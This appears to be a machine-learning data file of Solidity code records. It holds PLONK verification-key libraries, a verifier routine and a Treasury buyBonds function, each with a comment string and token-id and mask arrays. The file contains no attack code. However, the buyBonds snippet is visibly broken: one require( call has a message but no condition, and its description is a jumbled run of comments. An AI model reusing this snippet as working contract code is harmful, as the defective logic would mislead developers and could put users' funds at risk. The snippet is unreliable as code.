0x1a0)), 0x20), 0x1920490f668a36b0d098e057aa3b0ef6a979ed13737d56c7d72782f6cc27ded4) mstore(mload(add(vk, 0x1c0)), 0x0f5856acdec453a85cd6f66561bd683f611b945b0efd33b751cb2700d231667a)//vk.QRANGE mstore(add(mload(add(vk, 0x1c0)), 0x20), 0x21895e7908d82d86a0742fa431c120b69971d4a3baa00ff74f275e43d972e6af) mstore(mload(add(vk, 0x1e0)), 0x01902b1a4652cb8eeaf73c03be6dd9cc46537a64f691358f31598ea108a13b37)//vk.QLOGIC mstore(add(mload(add(vk, 0x1e0)), 0x20), 0x13484549915a2a4bf652cc3200039c60e5d4e3097632590ac89ade0957f4e474) mstore(mload(add(vk, 0x200)), 0x0a8d6da0158244b6ddc8109319cafeb5bf8706b8d0d429f1ffd69841b91d0c9b)//vk.SIGMA1 mstore(add(mload(add(vk, 0x200)), 0x20), 0x0c3b81b88d53d7f1eb09511e3df867418fe7aca31413843b4369e480779ae965) mstore(mload(add(vk, 0x220)), 0x1e2f827d84aedf723ac005cad54e173946fe58f2ee0c6260ca61731c0092c762)//vk.SIGMA2 mstore(add(mload(add(vk, 0x220)), 0x20), 0x0c42ca9f0857faf0eebbcfc915eefc3616705dc1a0a5f461278c5ea2dd46ad79) mstore(mload(add(vk, 0x240)), 0x14664645717286f98d1505681a9ed79ca2f14acbfbd539d04a42c52295569baa)//vk.SIGMA3 mstore(add(mload(add(vk, 0x240)), 0x20), 0x156b5ceac5557d202408c6be907fb3604d1bfab9f16f164ebd1eabdb0ebca7f7) mstore(mload(add(vk, 0x260)), 0x0f9987c57db930d1d7b18a9389f77b441a75a3c8abdd1f18be9d012cef08f981)//vk.SIGMA4 mstore(add(mload(add(vk, 0x260)), 0x20), 0x2c2cbc7eb7af7221a6fc921f45295645bcaecc330dd2ea76ab55041bc4aa4514) mstore(add(vk, 0x280), 0x01) // vk.contains_recursive_proof mstore(add(vk, 0x2a0), 398) // vk.recursive_proof_public_input_indices mstore(mload(add(vk, 0x2c0)), 0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1) // vk.g2_x.X.c1 mstore(add(mload(add(vk, 0x2c0)), 0x20), 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0) // vk.g2_x.X.c0 mstore(add(mload(add(vk, 0x2c0)), 0x40), 0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4) // vk.g2_x.Y.c1 mstore(add(mload(add(vk, 0x2c0)), 0x60), 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55) // vk.g2_x.Y.c0 } return vk; } } // SPDX-License-Identifier: GPL-2.0-only // Copyright 2020 Spilsbury Holdings Ltd pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; import {Types} from '../cryptography/Types.sol'; import {Bn254Crypto} from '../cryptography/Bn254Crypto.sol'; library Rollup28x2Vk { using Bn254Crypto for Types.G1Point; using Bn254Crypto for Types.G2Point; function get_verification_key() internal pure returns (Types.VerificationKey memory) { Types.VerificationKey memory vk; assembly { mstore(add(vk, 0x00), 2097152) // vk.circuit_size mstore(add(vk, 0x20), 798) // vk.num_inputs mstore(add(vk, 0x40),0x1ded8980ae2bdd1a4222150e8598fc8c58f50577ca5a5ce3b2c87885fcd0b523) // vk.work_root mstore(add(vk, 0x60),0x30644cefbebe09202b4ef7f3ff53a4511d70ff06da772cc3785d6b74e0536081) // vk.domain_inverse mstore(add(vk, 0x80),0x19c6dfb841091b14ab14ecc1145f527850fd246e940797d3f5fac783a376d0f0) // vk.work_root_inverse mstore(mload(add(vk, 0xa0)), 0x0f0d0bfb6fec117bb2077786e723a1565aeb4bfa14c72da9878faa883fcd2d9f)//vk.Q1 mstore(add(mload(add(vk, 0xa0)), 0x20), 0x15c54ec4e65aa7ed3e2d32812a8b10f552b50967d6b7951486ad4adf89c223f8) mstore(mload(add(vk, 0xc0)), 0x0a9996200df4a05c08248a418b2b425a0496d4be35730607e4196b765b1cf398)//vk.Q2 mstore(add(mload(add(vk, 0xc0)), 0x20), 0x2a040c7281e5b5295f0b7364ff657b8aa3b9a5763fe5a883de0e5515ce3c3889) mstore(mload(add(vk, 0xe0)), 0x25c60a9905b097158141e3c0592524cecb6bbd078b3a8db8151249a630d27af8)//vk.Q3 mstore(add(mload(add(vk, 0xe0)), 0x20), 0x3061fbf11a770e0988ebf6a86cd2444889297f5840987ae62643db0c775fd200) mstore(mload(add(vk, 0x100)), 0x177117434065a4c3716c4e9fad4ff60d7f73f1bf32ca94ea89037fd1fc905be9)//vk.Q4 mstore(add(mload(add(vk, 0x100)), 0x20), 0x0d660f14e9f03323ee85d6e5434e9c87c98ebd4408ea2cb7aa4d4c43f40e55e1) mstore(mload(add(vk, 0x120)), 0x0df6c77a9a6bae51cee804b5c1ea6a0ed527bc5bf8a44b1adc4a963b4541a7be)//vk.Q5 mstore(add(mload(add(vk, 0x120)), 0x20), 0x1d8fc177b0b1af86d92bc51b39280afb343dbba2d2929f28de0d6fc6656c2917) mstore(mload(add(vk, 0x140)), 0x01dfe736aa8cf3635136a08f35dd65b184c85e9a0c59dac8f1d0ebead964959b)//vk.QM mstore(add(mload(add(vk, 0x140)), 0x20), 0x2a691233e2e13145e933c9118ec820af49488639045ce0642807b1022b3c74e7) mstore(mload(add(vk, 0x160)), 0x07d69a43886facf8097f8cad533853c896c580aaeb533a02ce7dc5cf92f21ce7)//vk.QC mstore(add(mload(add(vk, 0x160)), 0x20), 0x2d9c7ce74cb26cb62559bc4697d9cce0c0405d7afabff15c3d740c90fe5fc698) mstore(mload(add(vk, 0x180)), 0x2cc2690e4100f95c939a850467e6adc5d906b2f8e7e5d1444e38278e241559da)//vk.QARITH mstore(add(mload(add(vk, 0x180)), 0x20), 0x2d88c17306d76a91cc9e0b7e225bce42c174819d0e1bac7ee9796081a8285e2e) mstore(mload(add(vk, 0x1a0)), 0x0b103de069011640f2594cafec9b5ae2eaa8dadbf83be5891cf7e3119f78bf7e)//vk.QECC mstore(add(mload(add(vk, 0x1a0)), 0x20), 0x13fc1c920188a004ab78d7a825d1277ffa1cab0707a3cf78874893eef617d3c0) mstore(mload(add(vk, 0x1c0)), 0x0de3e722e1a3c2383a2e8939075967c7775ec5b89bf5063b178733051defd1d7)//vk.QRANGE mstore(add(mload(add(vk, 0x1c0)), 0x20), 0x1aff0c1424638eb7c2df2bad7b97ab810aaa3eb285d9badcf4d4dc45a696da69) mstore(mload(add(vk, 0x1e0)), 0x27257a08dffe29b8e4bf78a9844d01fd808ee8f6e7d419b4e348cdf7d4ab686e)//vk.QLOGIC mstore(add(mload(add(vk, 0x1e0)), 0x20), 0x11ee0a08f3d883b9eecc693f4c03f1b15356393c5b617da28b96dc5bf9236a91) mstore(mload(add(vk, 0x200)), 0x21fb5ca832dc2125bad5019939ad4659e7acefdad6448dd1d900f8912f2a4c6a)//vk.SIGMA1 mstore(add(mload(add(vk, 0x200)), 0x20), 0x13cef6e1b0d450b3fe95afdc4dc540e453b66255b12e5bf44dbd37e163dcdd40) mstore(mload(add(vk, 0x220)), 0x02f89ba935374a58032f20285d5a1158818f669217a5fed04d04ad6c468e0791)//vk.SIGMA2 mstore(add(mload(add(vk, 0x220)), 0x20), 0x26a802cc55c39f79774e98942c103410e4a9889db5239a755d86ad1300c5b3c8) mstore(mload(add(vk, 0x240)), 0x2bdb1e71d81c17186eb361e2894a194070dda76762de9caa314b8f099393ae58)//vk.SIGMA3 mstore(add(mload(add(vk, 0x240)), 0x20), 0x0efdf91c574f69a89a1154cd97e9dfee19a03590c71738670f866872f6d7b34f) mstore(mload(add(vk, 0x260)), 0x2f16de71f5081ba2a41d06a9d0d0790f5ea9c2a0353a89c18ba366f5a313cfe3)//vk.SIGMA4 mstore(add(mload(add(vk, 0x260)), 0x20), 0x072220b85bcb1814c213f4ea717c6db6b99043f40ebc6f1ba67f13488eb949fc) mstore(add(vk, 0x280), 0x01) // vk.contains_recursive_proof mstore(add(vk, 0x2a0), 782) // vk.recursive_proof_public_input_indices mstore(mload(add(vk, 0x2c0)), 0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1) // vk.g2_x.X.c1 mstore(add(mload(add(vk, 0x2c0)), 0x20), 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0) // vk.g2_x.X.c0 mstore(add(mload(add(vk, 0x2c0)), 0x40), 0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4) // vk.g2_x.Y.c1 mstore(add(mload(add(vk, 0x2c0)), 0x60), 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55) // vk.g2_x.Y.c0 } return vk; } } // SPDX-License-Identifier: GPL-2.0-only // Copyright 2020 Spilsbury Holdings Ltd pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; import {Types} from '../cryptography/Types.sol'; import {Bn254Crypto} from '../cryptography/Bn254Crypto.sol'; library Rollup28x4Vk { using Bn254Crypto for Types.G1Point; using Bn254Crypto for Types.G2Point; function get_verification_key() internal pure returns (Types.VerificationKey memory) { Types.VerificationKey memory vk; assembly { mstore(add(vk, 0x00), 4194304) // vk.circuit_size mstore(add(vk, 0x20), 1566) // vk.num_inputs mstore(add(vk, 0x40),0x1ad92f46b1f8d9a7cda0ceb68be08215ec1a1f05359eebbba76dde56a219447e) // vk.work_root mstore(add(vk, 0x60),0x30644db14ff7d4a4f1cf9ed5406a7e5722d273a7aa184eaa5e1fb0846829b041) // vk.domain_inverse mstore(add(vk, 0x80),0x2eb584390c74a876ecc11e9c6d3c38c3d437be9d4beced2343dc52e27faa1396) // vk.work_root_inverse mstore(mload(add(vk, 0xa0)), 0x26bb602a4eda00566ddd5bbeff4cd2423db0009acc3accf7156606a4245fd845)//vk.Q1 mstore(add(mload(add(vk, 0xa0)), 0x20), 0x1dd8547f013efcfc01a7e40a509b24646595342898c5242abe9b10fb58f1c58b) mstore(mload(add(vk, 0xc0)), 0x009bf6f14745eec4f9055a140861a09d49864fda7485b704896de4a6ecdb9551)//vk.Q2 mstore(add(mload(add(vk, 0xc0)), 0x20), 0x08e79e438a66ef31e7bfb99a1165e43f524bd26f78d4f394599f72b59b8042fd) mstore(mload(add(vk, 0xe0)), 0x14b7a43408b0c79f59b52823495cf4ef5e41e217091aac757e7d89bc42e10ae3)//vk.Q3 mstore(add(mload(add(vk, 0xe0)), 0x20), 0x25a096773133d0ce13cb5c27993a3a4d2bb6e0e1d8f2e04674fec28e9e3c5a28) mstore(mload(add(vk, 0x100)), 0x08b6422c5411befe0e6a3a0696a6dda1035fb4738ff25917532076a0a4126af7)//vk.Q4 mstore(add(mload(add(vk, 0x100)), 0x20), 0x2298cf986a28cb1d0ee774a65f21e976452bfdf2126455424f29d67b267e9a66) mstore(mload(add(vk, 0x120)), 0x263505e9368a00c5d18b6b2367a557425010ef995257e28ca1d96734382aa654)//vk.Q5 mstore(add(mload(add(vk, 0x120)), 0x20), 0x206c6b0e864976d0cf1af4f23cc0686c18413558fdad150df4da74e07872e469) mstore(mload(add(vk, 0x140)), 0x1a01eeee82d343d876b4768c9ff9d6556d46513d115678664f8f1c0d43afbbc3)//vk.QM mstore(add(mload(add(vk, 0x140)), 0x20), 0x25917c457c81d9f5f4b896233f6265b9d60a359af9df16956e4dbc09763c0bd6) mstore(mload(add(vk, 0x160)), 0x17b0ae9b0c736a1979ab82f54fb4d001170dfa76d006103f02c43a67dec91fb3)//vk.QC mstore(add(mload(add(vk, 0x160)), 0x20), 0x2c78125c1d76b79daae8fba3f3a32c1713ecb35bd66b0eebbc7196bfa52b9f57) mstore(mload(add(vk, 0x180)), 0x25e1b7ef083b39733b81eb0907e96f617f0fe98f23c5b02bc973433eae02ff77)//vk.QARITH mstore(add(mload(add(vk, 0x180)), 0x20), 0x0a470bcbe5901d4889d389054d564a2449fa000fec23e0cbff8a1c5b0392152b) mstore(mload(add(vk, 0x1a0)), 0x0cd6a83b1c2ca031316875660a0b30c58e356b27cfe63f3d9cb912d128d6a3a5)//vk.QECC mstore(add(mload(add(vk, 0x1a0)), 0x20), 0x29f1e77dc2a6d16f6208579b9e370864204c7099f05ac168c8b49f8d94e1eea5) mstore(mload(add(vk, 0x1c0)), 0x0b33f722b800eb6ccf5fd90efb0354b7093892f48398856e21720a5ba817bef4)//vk.QRANGE mstore(add(mload(add(vk, 0x1c0)), 0x20), 0x1723e0bad06c4d46d4cb0d643a0634d1fb191a0315672eea80e0f0b909cb4721) mstore(mload(add(vk, 0x1e0)), 0x2c1e3dfcae155cfe932bab710d284da6b03cb5d0d2e2bc1a68534213e56f3b9a)//vk.QLOGIC mstore(add(mload(add(vk, 0x1e0)), 0x20), 0x1edf920496e650dcf4454ac2b508880f053447b19a83978f915744c979df19b9) mstore(mload(add(vk, 0x200)), 0x2419c069c1dfbf281accb738eca695c6ed185ff693668f624887d99cd9bef538)//vk.SIGMA1 mstore(add(mload(add(vk, 0x200)), 0x20), 0x22aab8ee870b67caae4805504bcd2965e5eb5397f9c93299ed7081d1a2536578) mstore(mload(add(vk, 0x220)), 0x01850320a678501e3dc5aa919e578778d8360ac8ffbc737fb9d62c74bd7b3bf7)//vk.SIGMA2 mstore(add(mload(add(vk, 0x220)), 0x20), 0x06baff0bb65569a45146269564e5f679cc9556816a4e6e62a9a822bfa3a9a568) mstore(mload(add(vk, 0x240)), 0x056cd85a7ef2cdd00313566df453f131e20dc1fe870845ddef9b4caad32cb87f)//vk.SIGMA3 mstore(add(mload(add(vk, 0x240)), 0x20), 0x1504f7003446dd2a73b86683d89c735e11cc8aef3de93481ce85c8e70ecb3b22) mstore(mload(add(vk, 0x260)), 0x1e4573d2de1aac0427a8492c4c5348f3f8261f36636ff9e509490f958740b0a0)//vk.SIGMA4 mstore(add(mload(add(vk, 0x260)), 0x20), 0x0a039078c063734e840576e905e6616c67c08253d83c8e0df86ca7a1b5751290) mstore(add(vk, 0x280), 0x01) // vk.contains_recursive_proof mstore(add(vk, 0x2a0), 1550) // vk.recursive_proof_public_input_indices mstore(mload(add(vk, 0x2c0)), 0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1) // vk.g2_x.X.c1 mstore(add(mload(add(vk, 0x2c0)), 0x20), 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0) // vk.g2_x.X.c0 mstore(add(mload(add(vk, 0x2c0)), 0x40), 0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4) // vk.g2_x.Y.c1 mstore(add(mload(add(vk, 0x2c0)), 0x60), 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55) // vk.g2_x.Y.c0 } return vk; } } // SPDX-License-Identifier: GPL-2.0-only // Copyright 2020 Spilsbury Holdings Ltd pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; import {Types} from '../cryptography/Types.sol'; import {Bn254Crypto} from '../cryptography/Bn254Crypto.sol'; library EscapeHatchVk { using Bn254Crypto for Types.G1Point; using Bn254Crypto for Types.G2Point; function get_verification_key() internal pure returns (Types.VerificationKey memory) { Types.VerificationKey memory vk; assembly { mstore(add(vk, 0x00), 524288) // vk.circuit_size mstore(add(vk, 0x20), 26) // vk.num_inputs mstore(add(vk, 0x40),0x2260e724844bca5251829353968e4915305258418357473a5c1d597f613f6cbd) // vk.work_root mstore(add(vk, 0x60),0x3064486657634403844b0eac78ca882cfd284341fcb0615a15cfcd17b14d8201) // vk.domain_inverse mstore(add(vk, 0x80),0x06e402c0a314fb67a15cf806664ae1b722dbc0efe66e6c81d98f9924ca535321) // vk.work_root_inverse mstore(mload(add(vk, 0xa0)), 0x1a3423bd895e8b66e96de71363e5c424087c0e04775ef8b42a367358753ae0f4)//vk.Q1 mstore(add(mload(add(vk, 0xa0)), 0x20), 0x2894da501e061ba9b5e1e1198f079425eebfe1a2bba51ba4fa8b76df1d1a73c8) mstore(mload(add(vk, 0xc0)), 0x11f33e953c5db955d3f93a7e99805784c4e0ffa6cff9cad064793345c32d2129)//vk.Q2 mstore(add(mload(add(vk, 0xc0)), 0x20), 0x2061f0caa8fa3d35b65afa4bfa97f093b5ab74f62112436f54eebb254d005106) mstore(mload(add(vk, 0xe0)), 0x05c63dff9ea6d84930499309729d82697af5febfc5b40ecb5296c55ea3f5e179)//vk.Q3 mstore(add(mload(add(vk, 0xe0)), 0x20), 0x270557e99250f65d4907e9d7ee9ebcc791712df61d8dbb7cadfbf1358049ce83) mstore(mload(add(vk, 0x100)), 0x2f81998b3f87c8dd33ffc072ff50289c0e92cbcd570e86902dbad50225661525)//vk.Q4 mstore(add(mload(add(vk, 0x100)), 0x20), 0x0d7dd6359dbffd61df6032f827fd21953f9f0c73ec02dba7e1713d1cbefe2f71) mstore(mload(add(vk, 0x120)), 0x14e5eedb828b93326d1eeae737d816193677c3f57a0fda32c839f294ee921852)//vk.Q5 mstore(add(mload(add(vk, 0x120)), 0x20), 0x0547179e2d2c259f3da8b7afe79a8a00f102604b630bcd8416f099b422aa3c0d) mstore(mload(add(vk, 0x140)), 0x09336d18b1e1526a24d5f533445e70f4ae2ad131fe034eaa1dad6c40d42ff9b5)//vk.QM mstore(add(mload(add(vk, 0x140)), 0x20), 0x04f997d41d2426caad28b1f32313d345bdf81ef4b6fcc80a273cb625e6cd502b) mstore(mload(add(vk, 0x160)), 0x238db768786f8c7c3aba511b0660bcd8de54a369e1bfc5e88458dcedf6c860a4)//vk.QC mstore(add(mload(add(vk, 0x160)), 0x20), 0x0814aa00e8c674f32437864d6576acb10e21706b574269118566a20420d6ed64) mstore(mload(add(vk, 0x180)), 0x080189f596dddf5feda887af3a2a169e1ea8a69a65701cc150091ab5b4a96424)//vk.QARITH mstore(add(mload(add(vk, 0x180)), 0x20), 0x16d74168928caaa606eeb5061a5e0315ad30943a604a958b4154dae6bcbe2ce8) mstore(mload(add(vk, 0x1a0)), 0x0bea205b2dc3cb6cc9ed1483eb14e2f1d3c8cff726a2e11aa0e785d40bc2d759)//vk.QECC mstore(add(mload(add(vk, 0x1a0)), 0x20), 0x19ee753b148189d6877e944c3b193c38c42708585a493ee0e2c43ad4a9f3557f) mstore(mload(add(vk, 0x1c0)), 0x2db2e8919ea4292ce170cff4754699076b42af89b24e148cd6a172c416b59751)//vk.QRANGE mstore(add(mload(add(vk, 0x1c0)), 0x20), 0x2bf92ad75a03c4f401ba560a0b3aa85a6d2932404974b761e6c00cc2f2ad26a8) mstore(mload(add(vk, 0x1e0)), 0x2126d00eb70b411bdfa05aed4e08959767f250db6248b8a20f757a6ec2a7a6c6)//vk.QLOGIC mstore(add(mload(add(vk, 0x1e0)), 0x20), 0x0bd3275037c33c2466cb1717d8e5c8cf2d2bb869dbc0a10d73ed2bea7d3e246b) mstore(mload(add(vk, 0x200)), 0x264a4e627e4684e1ec952701a69f8b1c4d9b6dda9d1a615576c5e978bfae69eb)//vk.SIGMA1 mstore(add(mload(add(vk, 0x200)), 0x20), 0x1a8d0fd1f1b1e55d82ffca8bcb96aff440c7d58c804eb8c997530c6448a74441) mstore(mload(add(vk, 0x220)), 0x0a4e05d11db2e3d857561c027fc69909922c83266c23913cc0716e4f3e20b01c)//vk.SIGMA2 mstore(add(mload(add(vk, 0x220)), 0x20), 0x2f4fd5534086a603cdff53bb3e2c40f4cae85839fc13cc4cf8aae8dba9b4265a) mstore(mload(add(vk, 0x240)), 0x229d17f3ba3fe020cb02be60ae11a9a9cc5b625240edd6af8c21689af9d9e4f5)//vk.SIGMA3 mstore(add(mload(add(vk, 0x240)), 0x20), 0x2408b183ac099721fe9ddfb0c51c1c7d6305441aefdc1510d306027f22000f70) mstore(mload(add(vk, 0x260)), 0x1d928372dc4405e422924f1750369a62320422208422c7a8ddf22510fe3301a3)//vk.SIGMA4 mstore(add(mload(add(vk, 0x260)), 0x20), 0x003f0e42598c2979879084939dd681db21471e29c009760079f8fde72ae59de4) mstore(add(vk, 0x280), 0x00) // vk.contains_recursive_proof mstore(add(vk, 0x2a0), 0) // vk.recursive_proof_public_input_indices mstore(mload(add(vk, 0x2c0)), 0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1) // vk.g2_x.X.c1 mstore(add(mload(add(vk, 0x2c0)), 0x20), 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0) // vk.g2_x.X.c0 mstore(add(mload(add(vk, 0x2c0)), 0x40), 0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4) // vk.g2_x.Y.c1 mstore(add(mload(add(vk, 0x2c0)), 0x60), 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55) // vk.g2_x.Y.c0 } return vk; } }
compute range_multiplier.[QRANGE] + logic_multiplier.[QLOGIC] + [accumulator] + [grand_product_term] range_multiplier.[QRANGE] add scalar mul output into accumulator we use mPtr to store accumulated point logic_multiplier.[QLOGIC] add scalar mul output into accumulator add arithmetic into accumulator
function compute_linearised_opening_terms( Types.ChallengeTranscript memory challenges, uint256 L1_fr, Types.VerificationKey memory vk, Types.Proof memory proof ) internal view returns (Types.G1Point memory) { Types.G1Point memory accumulator = compute_grand_product_opening_group_element(proof, vk, challenges, L1_fr); Types.G1Point memory arithmetic_term = compute_arithmetic_selector_opening_group_element(proof, vk, challenges); uint256 range_multiplier = compute_range_gate_opening_scalar(proof, challenges); uint256 logic_multiplier = compute_logic_gate_opening_scalar(proof, challenges); Types.G1Point memory QRANGE = vk.QRANGE; Types.G1Point memory QLOGIC = vk.QLOGIC; QRANGE.validateG1Point(); QLOGIC.validateG1Point(); bool success; assembly { let mPtr := mload(0x40) mstore(mPtr, mload(QRANGE)) mstore(add(mPtr, 0x20), mload(add(QRANGE, 0x20))) mstore(add(mPtr, 0x40), range_multiplier) success := staticcall(gas(), 7, mPtr, 0x60, mPtr, 0x40) mstore(add(mPtr, 0x40), mload(accumulator)) mstore(add(mPtr, 0x60), mload(add(accumulator, 0x20))) success := and(success, staticcall(gas(), 6, mPtr, 0x80, mPtr, 0x40)) mstore(add(mPtr, 0x40), mload(QLOGIC)) mstore(add(mPtr, 0x60), mload(add(QLOGIC, 0x20))) mstore(add(mPtr, 0x80), logic_multiplier) success := and(success, staticcall(gas(), 7, add(mPtr, 0x40), 0x60, add(mPtr, 0x40), 0x40)) success := and(success, staticcall(gas(), 6, mPtr, 0x80, mPtr, 0x40)) mstore(add(mPtr, 0x40), mload(arithmetic_term)) mstore(add(mPtr, 0x60), mload(add(arithmetic_term, 0x20))) success := and(success, staticcall(gas(), 6, mPtr, 0x80, accumulator, 0x40)) } require(success, "compute_linearised_opening_terms group operations fail"); return accumulator; }
5,793,030
[ 1, 9200, 1048, 67, 20538, 18, 63, 53, 15928, 65, 397, 4058, 67, 20538, 18, 63, 53, 4842, 2871, 65, 397, 306, 8981, 18514, 65, 397, 306, 3197, 464, 67, 5896, 67, 6408, 65, 1048, 67, 20538, 18, 63, 53, 15928, 65, 527, 4981, 14064, 876, 1368, 13514, 732, 999, 312, 5263, 358, 1707, 24893, 1634, 4058, 67, 20538, 18, 63, 53, 4842, 2871, 65, 527, 4981, 14064, 876, 1368, 13514, 527, 30828, 1368, 13514, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3671, 67, 12379, 5918, 67, 3190, 310, 67, 10112, 12, 203, 3639, 7658, 18, 18359, 1429, 9118, 3778, 462, 7862, 2852, 16, 203, 3639, 2254, 5034, 511, 21, 67, 4840, 16, 203, 3639, 7658, 18, 13483, 653, 3778, 331, 79, 16, 203, 3639, 7658, 18, 20439, 3778, 14601, 203, 565, 262, 2713, 1476, 1135, 261, 2016, 18, 43, 21, 2148, 3778, 13, 288, 203, 3639, 7658, 18, 43, 21, 2148, 3778, 13514, 273, 3671, 67, 3197, 464, 67, 5896, 67, 3190, 310, 67, 1655, 67, 2956, 12, 24207, 16, 331, 79, 16, 462, 7862, 2852, 16, 511, 21, 67, 4840, 1769, 203, 3639, 7658, 18, 43, 21, 2148, 3778, 30828, 67, 6408, 273, 3671, 67, 297, 16368, 67, 9663, 67, 3190, 310, 67, 1655, 67, 2956, 12, 24207, 16, 331, 79, 16, 462, 7862, 2852, 1769, 203, 3639, 2254, 5034, 1048, 67, 20538, 273, 3671, 67, 3676, 67, 10115, 67, 3190, 310, 67, 8748, 12, 24207, 16, 462, 7862, 2852, 1769, 203, 3639, 2254, 5034, 4058, 67, 20538, 273, 3671, 67, 28339, 67, 10115, 67, 3190, 310, 67, 8748, 12, 24207, 16, 462, 7862, 2852, 1769, 203, 203, 3639, 7658, 18, 43, 21, 2148, 3778, 2238, 15928, 273, 331, 79, 18, 53, 15928, 31, 203, 3639, 7658, 18, 43, 21, 2148, 3778, 2238, 4842, 2871, 273, 331, 79, 18, 53, 4842, 2871, 31, 203, 3639, 2238, 15928, 18, 5662, 43, 21, 2148, 5621, 203, 3639, 2238, 4842, 2871, 18, 5662, 43, 21, 2148, 5621, 203, 203, 3639, 1426, 2216, 31, 203, 3639, 2 ]
./partial_match/3/0x37c97658e4047329EB70c0535dFfcACAa1dBAe41/sources/Treasury.sol
*@notice When the FAC price is lower than 1, use FAC to buy FAB/Get FAC price through oracleFAC price must be equal to target price Need FAC price less than 1Destroy FACCasting FAB: Burning 1 FAC can exchange (1/bondPrice) FABUpdate FAC priceTrigger purchase FAB event
function buyBonds(uint256 amount, uint256 targetPrice) external onlyOneBlock checkMigration checkStartTime checkOperator { require(amount > 0, 'Treasury: cannot purchase bonds with zero amount'); uint256 cashPrice = _getCashPrice(bondOracle); require(cashPrice == targetPrice, 'Treasury: cash price moved'); require( 'Treasury: cashPrice not eligible for bond purchase' ); uint256 bondPrice = cashPrice; IFatAsset(cash).burnFrom(msg.sender, amount); IFatAsset(bond).mint(msg.sender, amount.mul(1e18).div(bondPrice)); _updateCashPrice(); emit BoughtBonds(msg.sender, amount); }
16,631,533
[ 1, 9434, 326, 478, 2226, 6205, 353, 2612, 2353, 404, 16, 999, 478, 2226, 358, 30143, 478, 2090, 19, 967, 478, 2226, 6205, 3059, 20865, 2046, 39, 6205, 1297, 506, 3959, 358, 1018, 6205, 12324, 478, 2226, 6205, 5242, 2353, 404, 10740, 478, 2226, 9735, 310, 478, 2090, 30, 605, 321, 310, 404, 478, 2226, 848, 7829, 261, 21, 19, 26425, 5147, 13, 478, 2090, 1891, 478, 2226, 6205, 6518, 23701, 478, 2090, 871, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
